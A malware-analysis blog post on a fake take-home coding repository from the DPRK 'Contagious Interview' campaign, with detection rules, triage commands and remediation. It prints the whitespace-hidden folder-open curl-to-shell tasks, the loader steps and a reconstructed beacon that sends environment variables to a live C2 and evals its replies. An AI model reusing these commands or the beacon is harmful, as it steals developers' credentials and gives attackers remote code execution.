← cd ../blog
#malware-analysis#threat-intel#dprk#supply-chain

A very contagious interview

A static teardown of World-bat, a fake take-home coding test from the DPRK "Contagious Interview" campaign. Two hidden triggers, a four-stage loader and a BeaverTail beacon that sends your entire environment to its C2 every five seconds.

This report analyses World-bat, a Git repository distributed to software developers as a take-home coding assessment. It belongs to the DPRK-linked Contagious Interview campaign and is built to compromise the developer who opens it. The analysis covers how the repository conceals its triggers, every stage of the loader chain, the deobfuscated final payload, and a consolidated set of indicators of compromise for detection and host triage.

SampleGit repository codeberg.org/improbable-Hub/World-bat (HEAD 53218da0a97adb6afbbda25ac0e4b45d6e40ee1b, 398 commits, branch main)
Also analysedStages 2–4, fetched once from the staging host improbable-check1.vercel.app and stored read-only
Date2026-11-11
MethodStatic analysis only, inside an isolated VM. Nothing from the repository or any stage was executed (method)
VerdictMalicious. DPRK "Contagious Interview" campaign: BeaverTail-family JavaScript loader and remote-code-execution backdoor behind a fake job-assessment lure

Executive summary

World-bat poses as a Web3 "metaverse / multiplayer poker" project, branded GGLab, Virtual Pangea, deAIOS and 0G Rollplay. Repositories like this are sent to developers as a take-home coding test. It carries two independent infection paths:

  1. VS Code / Cursor auto-run task. .vscode/tasks.json has a task set to runOn: folderOpen. Its real command is pushed about 560 columns off-screen with whitespace. Once the workspace is trusted, it pipes https://improbable-check1.vercel.app/api/settings/<os> straight into a shell.
  2. Trojanised backend. An obfuscated JavaScript blob hidden after about 300 spaces on line 18 of routes/api/auth.js runs whenever the server starts. The npm prepare hook starts the server in the background, so npm install alone is enough.

Both paths end in the same final payload: celt.js, byte-identical to the blob in auth.js apart from \x20 escapes. It is a tiny remote-code-execution beacon:

  • Every 5 seconds it sends the hostname, MAC address, OS details and the entire process.env to http://51.210.65.37:1224/api/checkStatus.
  • Whenever the server replies with status:"error", it passes the reply's message to eval().

The operator decides what happens next. Public reporting says the next step is usually the BeaverTail stealer, the InvisibleFerret Python backdoor or OtterCookie. Those go after browser passwords and cookies, crypto wallets, the macOS Keychain and SSH keys.

Some reputation feeds label the C2 IP as Meduza Stealer or MetaStealer. That label does not fit this sample. The repository contains no Windows or macOS executables, and every observed technique matches Contagious Interview.

Cloning the repository is safe. Opening it is not. A plain git clone executes nothing. Opening the folder in VS Code or Cursor and trusting it, or running npm install, npm start or node server, infects the machine.

Attribution

Assessment: DPRK-nexus Contagious Interview, also tracked as Famous Chollima, DEV#POPPER, UNC5342 and under the "Lazarus" umbrella. The payload family is BeaverTail (JavaScript loader). The likely follow-on stages are InvisibleFerret and/or OtterCookie.

Confidence: high for the campaign cluster; moderate for the exact stage-5 family, because stage 5 was deliberately not retrieved.

Each technique below was observed in this sample and matched to public reporting:

Observed techniquePublic reporting
Web3 / crypto-gaming "take-home test" repository, fake job lurePalo Alto Unit 42, Kudelski, OpenSourceMalware, Abstract Security: Contagious Interview
.vscode/tasks.json runOn: folderOpen with a command hidden by whitespace paddingOpenSourceMalware ("DPRK Contagious Interview Malware Weaponizes VSCode Tasks"), Abstract Security, Kudelski ("hidden by 564 spaces")
Stage 2 on *.vercel.app/api/settings/{mac,linux,windows}, then bootstraplinux / bootstrap, then ~/.vscode/vscode-bootstrap.{sh,cmd}, a portable Node from nodejs.org, npm i axios request, then the JS payloadSame chain documented publicly; older variants call the payload env-setup.js, this one celt.js
Beacon http://<OVH IP>:1224/api/checkStatus, eval(message) when status == "error"ThreatFox lists :1224/api/checkStatus URLs as "BeaverTail botnet C2"; Kudelski describes the same protocol
Obfuscator.io string array with rotation, payload appended to a legitimate source fileTypical of BeaverTail repository implants
Many throwaway Gmail committer identities, +0900 timezones, generic commit messages, grafted legitimate historyCommon in this campaign
C2 IPs in OVH ranges (51.210/16, 51.178/16, 51.77/16, 54.39/16, 141.94/16, 151.80/16, 167.114/16, 91.121/16)Matches published BeaverTail C2 infrastructure

Meduza and MetaStealer are commodity Windows PE stealers written in C++ and .NET. Reputation aggregators file 51.210.65.37 under generic "malware / C2" categories, and shared OVH hosting or feed mixing would explain the label. Nothing in this sample resembles either family.

The lure repository

Content

  • Pretext: the README promises a "decentralized AI operating system (deAIOS)", an open-world metaverse, Solana/NFT integration and more. The code is actually an old React and Express Texas Hold'em poker app with MetaMask wallet connect (client/src/utils/interact.js), Socket.io and MongoDB.
  • 316 files, all mode 100644. No symlinks, submodules, .gitattributes, LFS pointers or executable bits. No binaries: PNG, JPG, GIF, WEBP and TTF assets only, and no PNG has data appended after IEND.
  • Decoy and branding hosts in client/public/_redirects and sitemap.xml: mbank-poker.netlify.app and 0g-rollplay.netlify.app, plus gglab-poker.netlify.app and multibank-poker.netlify.app in the history.
  • Social-engineering helpers:
    • .vscode/settings.json defines terminal profiles (including a "GitHub CLI" profile) and hides node_modules. It is not malicious on its own, but it makes the workspace look polished and trustworthy.
    • controllers/auth.js sets isMatch = true, so any password logs in. That keeps a "candidate" from hitting errors while the backdoored backend runs.

History grafting and fake identities

  • The bottom of the history is the legitimate npm package silverwind/tcpie (2015–2024, 272 commits). The lure was committed on top of it so the repository looks long-lived and trustworthy. The tcpie maintainers have nothing to do with this campaign.
  • Lure commits run from 2025-10 to 2026-10 with author dates out of order. HEAD 53218da is dated 2026-09-02 15:50:25 -0500 but sits after a commit dated 2026-10-02, which points to forged dates. Commit messages are generic: "updated initial func1/2/3", "updated basic server func", "updated files", "delected files".
  • Committer identities. These are the names and addresses in the lure commits. Most are throwaway accounts; some identities were likely spoofed. The last row includes a genuine tcpie contributor whose identity was inherited through the grafted history; that address is redacted.
Name(s)Email(s)
martin / zero2hero-A / clitchdaomartinsnaith5050@gmail.com, snaithmartin0@gmail.com, martinsnaith534@gmail.com, martinsnaith7n@gmail.com
Temple Jett / clitchdaotemplejett03@gmail.com
clitchdaoeltondarrell060@gmail.com
VladimirSimic2024 / sparkdev0917webvlada2024@gmail.com
Blockdaemon-Hub104 (HEAD)romonterozamendoza@gmail.com
AlchemyWorkHub / divanefapibi31-altdivanefapibi31@gmail.com
GitWorkHub9fatihafariya8+2@gmail.com
0xroaman-2 / -4 / -9 / 0xroamanteam / roamanbuildluis@commerce-media.org, serhiiprymierov25+2@gmail.com, luistech.0924@gmail.com, luistech.0924+1@gmail.com, simonsharp331+1@gmail.com
jackpot_mvphiringtecjreview@outlook.com
lxin6793-dot, aaronhirotobm-lgtm, robertferrero0904-uilxin6793@gmail.com, aaronhiroto.bm@gmail.com, robertferrero0904@gmail.com
Jobelo Andres Quintero Rodriguezignusmart@gmail.com
coin, Cherik, Mann-004, Matías, Zeke Sikelianoscoinstar@gmail.com, Pourcheriki@gmail.com, randhawamanpreet37@gmail.com, mjlescano@protonmail.com, redacted (genuine tcpie contributor)
  • Infrastructure rotation: earlier commits used about 25 different Vercel stage-2 hosts and 17 C2 IPs (all listed in the indicators). One commit hid the C2 as AUTH_API=<base64> inside a committed .env full of fake demo API keys.

Infection chain

Infection chain of the World-bat lure: VS Code folder-open task and npm prepare hook both lead to the celt.js beacon, which reports to the C2 at 51.210.65.37:1224 and evaluates whatever JavaScript it is sent

Three entry points converge on one beacon. The VS Code task downloads a loader chain into ~/.vscode; npm install, npm start and node server skip the downloads and run the same code directly from routes/api/auth.js.

Stage-by-stage analysis

Stage 0: repository triggers

.vscode/tasks.json (sha256 2f387c25…0de3eec) defines two tasks. Both have runOptions.runOn: "folderOpen", presentation.reveal: "silent", echo: false and close: true:

jsonc
{ "label": "version-update", "type": "shell",
  "command": "npm install --silent --no-progress", ... "runOn": "folderOpen" },
{ "label": "env", "type": "shell",
  "osx":     {                 /* ~560 spaces */ "command": "curl -L 'https://improbable-check1.vercel.app/api/settings/mac' | bash" },
  "linux":   {                 /* ~560 spaces */ "command": "wget -qO- 'https://improbable-check1.vercel.app/api/settings/linux' | sh" },
  "windows": {                 /* ~560 spaces */ "command": "curl --ssl-no-revoke -L https://improbable-check1.vercel.app/api/settings/windows | cmd" },
  ... "runOn": "folderOpen" }

VS Code runs folder-open tasks only for a trusted workspace (the Workspace Trust prompt), and only when task.allowAutomaticTasks permits it. Victims are talked into clicking "Yes, I trust the authors". The task then re-runs every time the folder is opened, which is the chain's only persistence.

package.json (sha256 c913a6b8…1eb2f0) contains:

json
"prepare": "start /b node server || nohup node server &"

npm runs prepare automatically after npm install, which starts the trojanised backend detached on both Windows and Unix.

routes/api/auth.js (sha256 2690f337…1235ab): line 18 is module.exports = router;, followed by about 300 spaces and then the obfuscated beacon (sha256 of the blob alone: 209a1aaf…40fea6). It loads through server.js → routes/index.js → require('./api/auth'). In an editor without word wrap, line 18 looks like an ordinary end of file.

Stage 2: OS loaders

Served from /api/settings/{mac,linux,windows}:

Filesha256Behaviour
stage2-macc0ccc784abc4cddf2372806b154f67c0701ffbd86c5c1a21e0fec57b95d48accmkdir -p ~/.vscode → curl -s -L -o ~/.vscode/vscode-bootstrap.sh …/api/settings/bootstraplinux → chmod +x → nohup bash ~/.vscode/vscode-bootstrap.sh → prints "Opened Successfully."
stage2-linux78a881c7be81ac2459fc1810f350d6012a8ed160973a14f0eedebe7327c8e4cdPrints "Authenticated", then does the same with wget -q. Runs clear between steps to wipe the terminal
stage2-windows4f6ead231ccdafbc6e3f9b9a056ad441966569916352c6f19fdd843c0312ec37mkdir %USERPROFILE%\.vscode → curl --ssl-no-revoke -s -L -o %USERPROFILE%\.vscode\vscode-bootstrap.cmd …/api/settings/bootstrap → runs it, with cls before and after

The loaders write to ~/.vscode because that directory already exists on most developer machines, so the files blend in with real extension data.

Stage 3a: vscode-bootstrap.sh (macOS and Linux)

Served from /api/settings/bootstraplinux, sha256 874f6c07e7b381ca6fb561c1d47598042015eb8e51f3ca8e3cc6505bbcad4073.

  1. Self-detach: if $MINIMIZED is unset, it exports MINIMIZED=1, re-launches itself with nohup sh "$0" >/dev/null 2>&1 & and exits. The VS Code task ends at once while the real work continues invisibly.
  2. Platform detection: uname -s maps Darwin to darwin and Linux to linux; uname -m maps x86_64/amd64 to x64 and arm64/aarch64 to arm64. Anything else exits.
  3. Node runtime: accepts the system node if its major version is 22–24, because the payload needs the built-in global fetch. Otherwise it looks for a portable Node at ~/.vscode/node-v24.11.1-<os>-<arch>/bin/node and removes it if the version is wrong.
  4. Portable Node install: if still missing, it downloads the legitimate https://nodejs.org/dist/v24.11.1/node-v24.11.1-<os>-<arch>.tar.xz with curl or wget into ~/.vscode/, extracts it, deletes the tarball and prepends it to PATH. No root needed.
  5. Workspace marker: writes $VS_CODE_FOLDER_NAME to ~/.vscode/$VS_CODE_FOLDER_NAME.txt. Nothing in the observed chain sets that variable, so a real infection probably creates ~/.vscode/.txt containing an empty line.
  6. Payload download: …/api/settings/env → ~/.vscode/celt.js, and …/api/settings/package → ~/.vscode/package.json.
  7. Dependencies: if ~/.vscode/node_modules/request is missing, it runs npm install --silent --no-progress --loglevel=error --fund=false in ~/.vscode, which pulls axios and request.
  8. Launch: runs "$NODE_EXE" ~/.vscode/celt.js in the foreground of the detached process, so the beacon lives as long as that process does.
  9. No reboot persistence: no LaunchAgent, systemd unit, cron entry or shell-rc edit. Persistence comes from the re-triggering tasks.json and from whatever stage 5 installs.

Stage 3b: vscode-bootstrap.cmd (Windows)

Served from /api/settings/bootstrap, sha256 36e734f59912bc2d457631ec492611718f17c4a0f2beaf0d815639478fda2664. It differs from the Unix version in five ways:

  • Hiding: re-launches itself with start "" /min cmd /c "%~f0" (a minimised window) behind the same MINIMIZED guard.
  • Node: accepts system Node 22–24, otherwise uses %USERPROFILE%\.vscode\nodejs\PFiles64\nodejs\node.exe. If that is missing, it downloads https://nodejs.org/dist/v24.0.0/node-v24.0.0-x64.msi with curl (PowerShell Invoke-WebRequest as fallback) and runs msiexec /a … /qn TARGETDIR=%USERPROFILE%\.vscode\nodejs. That is an administrative extract: Node lands without admin rights and without an Add/Remove Programs entry. The MSI is deleted afterwards.
  • Workspace marker: takes the name of the current directory (%CD%, the opened repository folder, here World-bat) and writes it to %USERPROFILE%\.vscode\<name>.txt. This likely tells the operator which lure a victim came from.
  • Payload name: saves the same /api/settings/env content as %USERPROFILE%\.vscode\celt.npl (not .js), plus package.json.
  • Dependencies and launch: installs only request through the extracted npm-cli.js (falling back to npm install request), then runs node celt.npl with all output sent to nul.

Stage 4: celt.js, the beacon

Filesha256
celt.js / celt.npl (/api/settings/env)ba09693d1a3df7b8385dc703d9352ea8a2a661b09580bfedf287236cf3ea2290
package.json (/api/settings/package)6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3

The dropped package.json:

json
{"name":"env","dependencies":{"axios":"^1.10.0","request":"^2.88.2"},"scripts":{"start":"node env.npl"}}

celt.js itself never uses axios or request. They are pre-installed for the code the C2 later sends through eval, which is consistent with BeaverTail and InvisibleFerret, both of which use request for uploads. The env.npl start script is a leftover from older variants (env-setup.js / .npl naming).

Code identity: after normalising '\x20' to ' ', celt.js and the blob hidden in routes/api/auth.js are byte-identical. Every path lands on the same beacon.

Static deobfuscation

The obfuscation is obfuscator.io's "string array + rotation" mode, without RC4 or base64 encoding of the array:

  • _0x5e68() returns a 24-element string array.
  • An IIFE rotates it with push(shift()) until a checksum built from parseInt over specific entries equals 0xaf26d.
  • _0x42cb(i) returns array[i − 0x148].

The decoder was reimplemented in Python rather than executing the JavaScript. The script parses the array, offset, target and checksum expression straight from the source text, reproduces JavaScript's parseInt prefix semantics with its own integer arithmetic, and rotates until the checksum matches (one rotation here). It then substitutes every _0x42cb(0x…) call with its string. No JavaScript was evaluated at any point.

The recovered string table, after rotation:

text
0x148 48271040EuJRsw   0x150 459967GnSYxk   0x158 hostname
0x149 841437DAjeqA     0x151 bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=  -> "now it time to get everything"
0x14a find             0x152 values         0x159 IPv4
0x14b 33tbmnjv         0x153 mac            0x15a error
0x14c aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==  -> "http://51.210.65.37:1224/api/checkStatus"
0x14d 6818172DSaCBr    0x154 16QrtcuL       0x15b 4115ebJspJ
0x14e utf8             0x155 release        0x15c 115828vOqIHe
0x14f networkInterfaces 0x156 stringify     0x15d family
                       0x157 4492JHlWST     0x15e json   0x15f 7973399ewmAba

Entries mixing digits and letters are checksum filler.

Reconstructed logic

javascript
const os = require('os');
let sysId = 0;

function getSystemInfo() {
  const mac = Object.values(os.networkInterfaces()).flat()
      .find(i => i.family === 'IPv4' && !i.internal && i.mac !== '00:00:00:00:00:00')?.mac;
  return { hostname: os.hostname(),
           macs: [mac],
           os: `${os.type()} ${os.release()} (${os.platform()})` };
}

async function sendRequest(info) {
  try {
    const qs = new URLSearchParams({
      sysInfo:     JSON.stringify(info),
      processInfo: JSON.stringify(process.env),        // ALL environment variables
      tid:         'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // campaign/tracking id, sent still base64
      sysId:       sysId                                 // 0 on first contact, then server-assigned
    });
    const url = Buffer.from('aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==', 'base64').toString('utf8');
    // => http://51.210.65.37:1224/api/checkStatus
    const res = await fetch(url + '?' + qs);            // HTTP GET, cleartext, data in query string
    const { status, message, sysId: newId } = await res.json();
    if (status === 'error') { try { eval(message); } catch (_) {} }   // REMOTE CODE EXECUTION
    if (newId) sysId = newId;                            // victim ID from C2
  } catch (e) { console.error(e); }
}

try {
  const s = getSystemInfo();
  sendRequest(s);
  setInterval(() => sendRequest(s), 5000);              // beacon every 5 s, forever
} catch (e) { console.error(e); process.exit(1); }

What matters in it:

  • C2: http://51.210.65.37:1224/api/checkStatus, plain HTTP GET on TCP 1224. Base64 hides the URL from naive string search.
  • Sends: hostname, the MAC of the first external IPv4 interface, OS type/release/platform, the complete process.env, the tid campaign marker and sysId. Inside a developer's VS Code terminal or npm process, process.env often holds GITHUB_TOKEN, AWS_*, NPM_TOKEN, OpenAI and other API keys, and SSH_AUTH_SOCK. The first beacon is already credential theft.
  • Replies: {status, message, sysId}. status:"error" is the deliberately misleading "run this" signal: message is JavaScript passed to eval() with full Node privileges (require, fs, child_process, network). celt.js writes no files and starts no Python on its own; any .npl, .pyp or Python stage arrives through eval.
  • Errors are swallowed, and the 5-second loop keeps the process alive indefinitely.

Stage 5: whatever the C2 sends

Not retrieved, by design: contacting the C2 would have announced the analysis and fed the operator a fake victim. The next section lists what public reporting says it usually is.

Capabilities and data at risk

Observed in this sample

  • Silent execution on VS Code or Cursor folder open (trusted workspace), on npm install (prepare) and on server start.
  • Hidden or minimised execution, terminal clearing, detaching with nohup / start /min.
  • Drops a legitimate portable Node.js runtime into ~/.vscode, no admin needed (on Windows via an msiexec /a extract).
  • Writes the workspace or repository name to a marker file for victim and lure tracking.
  • Exfiltrates hostname, MAC, OS and every environment variable to 51.210.65.37:1224 every 5 seconds.
  • Arbitrary remote JavaScript execution through eval() of C2 replies.
  • Pre-installs the axios and request HTTP libraries for later stages.

From public reporting on BeaverTail, InvisibleFerret and OtterCookie

Not observed here, but what the follow-on stages typically do:

  • Steal Chromium and Firefox saved passwords, cookies and autofill (Chrome, Brave, Edge, Opera, Firefox).
  • Steal crypto wallet browser extensions (MetaMask, Phantom, Coinbase Wallet, TronLink, Exodus Web3 and others) and desktop wallets (Exodus, Atomic, Solana id.json).
  • Take the macOS ~/Library/Keychains/login.keychain-db, SSH keys, .npmrc, shell history and documents matching keyword patterns.
  • Download a Python runtime and the InvisibleFerret backdoor: keylogging, clipboard capture, file upload, remote shell. Past drop names include ~/.n2/, ~/.n3/, ~/.npl and ~/.pyp/. Sometimes AnyDesk is installed for hands-on access.
  • OtterCookie variants add clipboard and crypto-address monitoring and document theft.

Checking your own devices

If you received a repository like this, what you did with it decides whether you are affected:

What you didResult
git clone in a terminalNot infected. Git never transfers hooks, and the repository has no submodules, symlinks, filters, LFS or executable bits
Zipped or archived the folderNot infected
Browsed it in Finder, Explorer or Quick LookNot infected. There is no .app, .command, Mach-O, PE or script with an executable bit
Opened it in VS Code, Cursor or another fork in Restricted ModeTasks do not auto-run. Low risk, as long as you did not run anything
Opened it in VS Code, Cursor or another fork and trusted itInfected. curl … /api/settings/mac | bash runs the full chain
Ran npm installInfected. prepare starts the backdoored server
Ran npm start, npm run dev or node serverInfected

The checks below look for every artefact this chain leaves behind. A clean result means none of the observed stages ran; it cannot rule out a stage 5 that cleaned up after itself.

macOS

shell
# Dropped files (stages 2-4)
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json \
       ~/.vscode/node_modules/axios ~/.vscode/node_modules/request \
       ~/.vscode/node-v24.11.1-darwin-* ~/.vscode/*.txt ~/.vscode/.txt 2>/dev/null

# Running beacon or backdoored server
ps -axo pid,ppid,command | grep -Ei 'celt|vscode-bootstrap|node .*server' | grep -v grep

# C2 connections (TCP 1224, or the current C2 IP)
lsof -nPi :1224
lsof -nPi | grep -E ':1224|51\.210\.65\.37'

# Stage-5 remnants reported publicly
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null
ps -axo pid,ppid,lstart,command | grep -i python | grep -v grep
ls -lat ~/Library/LaunchAgents/
ls -d /Applications/AnyDesk* 2>/dev/null

# Was the folder ever opened in an editor?
grep -il 'world-bat' ~/Library/Application\ Support/{Code,Cursor,Windsurf}/User/workspaceStorage/*/workspace.json 2>/dev/null

Linux

shell
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json \
       ~/.vscode/node_modules ~/.vscode/node-v24.11.1-linux-* ~/.vscode/*.txt 2>/dev/null
pgrep -af 'celt|vscode-bootstrap'
ss -tnp | grep -E ':1224|51\.210\.65\.37'
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null

# Stage-5 persistence, if any
ls -la ~/.config/autostart/ ~/.config/systemd/user/ 2>/dev/null
crontab -l
grep -il 'world-bat' ~/.config/{Code,Cursor}/User/workspaceStorage/*/workspace.json 2>/dev/null

Windows

powershell
# Dropped files (stages 2-4)
Get-ChildItem -Force "$env:USERPROFILE\.vscode" |
  Where-Object Name -match 'vscode-bootstrap|celt|package\.json|node_modules|nodejs|\.txt$|\.msi$'
Test-Path "$env:USERPROFILE\.vscode\nodejs\PFiles64\nodejs\node.exe"

# Running beacon: node.exe with celt.npl or a "server" argument
Get-CimInstance Win32_Process -Filter "Name='node.exe'" | Select-Object ProcessId, ParentProcessId, CommandLine

# C2 connections
netstat -ano | findstr ":1224"

# Stage-5 persistence reported publicly
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-30) }
Get-Process AnyDesk -ErrorAction SilentlyContinue

On Windows, the infection shows up as this process tree: Code.exe → cmd.exe /c curl … | cmd → cmd /c vscode-bootstrap.cmd → node.exe celt.npl, or node server started by npm install.

Detection

Scan untrusted repositories before opening them

Run these from a terminal against any repository you were sent, before opening it in an editor:

shell
# folder-open auto-run tasks
rg -n --hidden '"runOn"\s*:\s*"folderOpen"' -g '.vscode/**'
# commands hidden by whitespace padding (>=100 spaces, then code)
rg -n --hidden -g '!node_modules' ' {100,}\S'
# pipe-to-shell from tasks
rg -n --hidden -g '.vscode/**' '(curl|wget)[^"]*\|\s*(ba)?sh|\|\s*cmd'
# Vercel loader paths and the 1224 beacon (raw and base64)
rg -n --hidden '/api/settings/(mac|linux|windows|bootstrap|bootstraplinux|env|package)|:1224/api/checkStatus|OjEyMjQvYXBpL2NoZWNrU3RhdHVz|MTIyNC9hcGkvY2hlY2tTdGF0dXM'
# npm lifecycle hook that starts a server in the background
rg -n '"prepare"\s*:\s*"[^"]*(nohup|start /b)'

YARA

yara
rule CI_VSCode_FolderOpen_HiddenTask {
  meta:
    description = "Contagious Interview tasks.json: folderOpen task with whitespace-padded command"
  strings:
    $run  = /"runOn"\s*:\s*"folderOpen"/
    $pad  = /\{\s{200,}"command"/
    $pipe = /(curl|wget)[^"\n]{0,200}\|\s*(bash|sh|cmd)/
  condition:
    filesize < 50KB and $run and ($pad or $pipe)
}

rule CI_BeaverTail_checkStatus_Beacon {
  meta:
    description = "BeaverTail-style JS beacon: checkStatus + process.env + eval(message)"
  strings:
    $b64a  = "OjEyMjQvYXBpL2NoZWNrU3RhdHVz"   // ":1224/api/checkStatus" base64 (aligned)
    $b64b  = "MTIyNC9hcGkvY2hlY2tTdGF0dXM"
    $plain = "/api/checkStatus"
    $env   = "'processInfo':JSON"
    $tid   = "bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc="
    $eval  = /eval\(_0x[0-9a-f]{4,6}\)/
    $pad   = /;\s{150,}\(function\(_0x/
  condition:
    $tid or (($b64a or $b64b or $plain) and $env and $eval) or ($pad and $eval)
}

rule CI_VSCode_Bootstrap_Script {
  meta:
    description = "Contagious Interview vscode-bootstrap stage-3 (sh/cmd)"
  strings:
    $a = "MINIMIZED"
    $b = "/api/settings/env"
    $c = "/api/settings/package"
    $d = "celt.js"
    $e = "celt.npl"
    $f = "node_modules/request"
    $g = "node_modules\\request"
    $h = "msiexec /a"
  condition:
    $a and $b and $c and 1 of ($d, $e, $f, $g, $h)
}

Network and EDR

  • Alert on outbound TCP/1224 HTTP to path /api/checkStatus with query parameters sysInfo=, processInfo=, tid= and sysId=. The beacon fires every 5 seconds, a very regular cadence.
  • Alert on *.vercel.app/api/settings/(mac|linux|windows|bootstrap|bootstraplinux|env|package).
  • Process lineage: Code, Cursor or npm → bash -l -c / cmd /c → curl|wget … | sh|bash|cmd. node running from ~/.vscode/node-v*/bin/node or %USERPROFILE%\.vscode\nodejs\PFiles64\. node ~/.vscode/celt.js.
  • Hardening: set "task.allowAutomaticTasks": "off" in VS Code and Cursor user settings, and keep Workspace Trust enabled so unknown repositories open in Restricted Mode.

Remediation

If you only cloned or archived the repository: you are not infected. Delete the folder, and if you need it as evidence, keep it in a password-protected archive. Never open it in an editor.

If any infecting action from the table above happened, assume full compromise:

  1. Isolate the machine from the network.
  2. Kill node processes running celt.js, celt.npl or server, and delete the dropped files listed in the indicators, including the portable Node folders and ~/.vscode/node_modules. Leave your real ~/.vscode/extensions alone.
  3. Hunt for stage-5 persistence: LaunchAgents, ~/.n2, ~/.n3, ~/.npl, ~/.pyp, Python processes, AnyDesk, Run keys, scheduled tasks. Because stage 5 is unknown, reinstalling the OS is the safest option.
  4. From a clean device, rotate every secret that was in the environment or on disk: GitHub/GitLab tokens and SSH keys, cloud keys (AWS, GCP, Azure), npm/PyPI tokens, API keys, and the .env secrets of every other project on the machine.
  5. Change all browser-saved passwords, revoke sessions (Google, GitHub, exchanges, email) and re-enrol 2FA wherever TOTP seeds could have been exposed.
  6. Crypto: treat seed phrases and wallet extensions as compromised. Move funds to a new wallet created on a clean device.
  7. On a work machine, notify your security team. Report the repository to Codeberg, the Vercel hosts to Vercel and the IPs to OVH.
  8. Harden the editor: "task.allowAutomaticTasks": "off", Workspace Trust on, and review take-home repositories in a disposable VM.

How this analysis was done

  • Isolated VM. The analysis ran in a dedicated Linux virtual machine holding no personal files, credentials or logins.

  • Safe clone. The repository was cloned with hooks, credential helpers, local-file protocols and submodules disabled, and without a checkout:

    shell
    env -i HOME=/tmp/mal-home PATH=/usr/bin:/bin \
      git -c credential.helper= -c core.hooksPath=/dev/null -c protocol.file.allow=never \
      clone --no-recurse-submodules --no-checkout https://codeberg.org/improbable-Hub/World-bat.git
  • No network during analysis. Every later git and analysis command ran with an empty environment (env -i) inside an unprivileged namespace without network access (unshare -rn). The tree was materialised with git archive, so no file carried an executable bit.

  • Nothing executed. No file from the repository or any stage was run, sourced, imported or installed. node, npm, bash and cmd were never pointed at sample content. The deobfuscator is a purpose-written Python script that only transforms text.

  • Minimal contact with attacker infrastructure. Stages 2–4 were fetched once from the staging host and stored read-only. The C2 at 51.210.65.37:1224 was never contacted, and stage 5 was never requested. Public threat intelligence was consulted by name only: OpenSourceMalware, Abstract Security, Kudelski, ThreatFox/lazarus.day and isMalicious.

Open questions

  • Stage-5 content. What the C2 sends through eval is unknown and probably varies per victim. The data-theft list above comes from public reporting, not from this sample.
  • Whether 51.210.65.37:1224 and improbable-check1.vercel.app are still live. Not tested, by design.
  • Whether the Vercel host serves different content per victim, IP, User-Agent or time. A single capture may not be representative.
  • How VS_CODE_FOLDER_NAME is meant to be set on macOS and Linux. Nothing in the observed chain sets it, so the marker file is probably ~/.vscode/.txt; a variant task may set it.
  • The historical stage-2 hosts and C2s come from a regex sweep over all 398 commits. Unusually encoded one-off variants in old commits could have been missed.
  • Image and font assets got only a basic check (no trailing data after PNG IEND). Nothing in the code reads them, so they are very likely benign.
  • Attribution beyond "Contagious Interview cluster" (sub-group, operator identities) is not possible from this sample. The committer addresses are almost certainly throwaway or stolen identities.

Indicators of compromise

Every indicator extracted from the repository, its history and stages 2–4. All are shown as text and none are links. Do not visit them.

URLs

Current, from HEAD and the downloaded stages:

text
https://improbable-check1.vercel.app/api/settings/mac              stage-2 loader (macOS)
https://improbable-check1.vercel.app/api/settings/linux            stage-2 loader (Linux)
https://improbable-check1.vercel.app/api/settings/windows          stage-2 loader (Windows)
https://improbable-check1.vercel.app/api/settings/bootstraplinux   stage-3 bootstrap (sh)
https://improbable-check1.vercel.app/api/settings/bootstrap        stage-3 bootstrap (cmd)
https://improbable-check1.vercel.app/api/settings/env              stage-4 celt.js / celt.npl
https://improbable-check1.vercel.app/api/settings/package          stage-4 package.json
http://51.210.65.37:1224/api/checkStatus                           C2 beacon / RCE

Legitimate Node.js downloads abused by stage 3. Context only, do not block:

text
https://nodejs.org/dist/v24.11.1/node-v24.11.1-{darwin,linux}-{x64,arm64}.tar.xz
https://nodejs.org/dist/v24.0.0/node-v24.0.0-x64.msi

Domains

Payload staging, current:

text
improbable-check1.vercel.app

Payload staging, historical (from the repository history; paths /api/settings/*, /api/validate, /api/data, /api):

text
0g-auth-check.vercel.app
ake-test.vercel.app
api-royaljapan.vercel.app
api111-jade.vercel.app
astrahub.vercel.app
ip-address-check-moa5.vercel.app
ip-check-pc.vercel.app
ip-checking-notification-pic.vercel.app
ip-core-api-0511.vercel.app
ipcheck-royal.vercel.app
ipcheck-six.vercel.app
oracle-reg-check.vercel.app
oracle-v3-nu.vercel.app
project-mjecx.vercel.app
rgg-vercel.vercel.app
spherity-project.vercel.app
test-g-acs.vercel.app
virtualpangea-mvp.vercel.app
vscode-check-mo1.vercel.app
vscode-check-mo2.vercel.app
vscode-settings-0511.vercel.app
vscode-settings-529.vercel.app

Lure branding (probably decoys, unverified):

text
mbank-poker.netlify.app
0g-rollplay.netlify.app
gglab-poker.netlify.app
multibank-poker.netlify.app

IP addresses

All on TCP/1224, path /api/checkStatus. The current C2 is 51.210.65.37 (OVH FR, AS16276), listed on five threat-intelligence feeds as malware/C2, last listed 2026-11-06. The rest come from earlier commits.

text
51.210.65.37       current
141.94.148.35      historical
141.94.148.39      historical
147.124.212.180    historical
147.124.212.207    historical
151.80.76.66       historical
167.114.215.75     historical
216.250.251.187    historical
216.250.252.245    historical
54.39.43.114       historical
54.39.43.117       historical
51.178.11.177      historical
51.178.11.179      historical
51.178.11.188      historical
51.77.188.54       historical
85.17.26.178       historical
91.121.235.127     historical

Strings and markers

IndicatorMeaning
bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=tid campaign marker, "now it time to get everything"
aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==Base64 C2 URL
_0x5e68, _0x42cb, 0xaf26d, 0x148Obfuscator identifiers, rotation checksum and offset
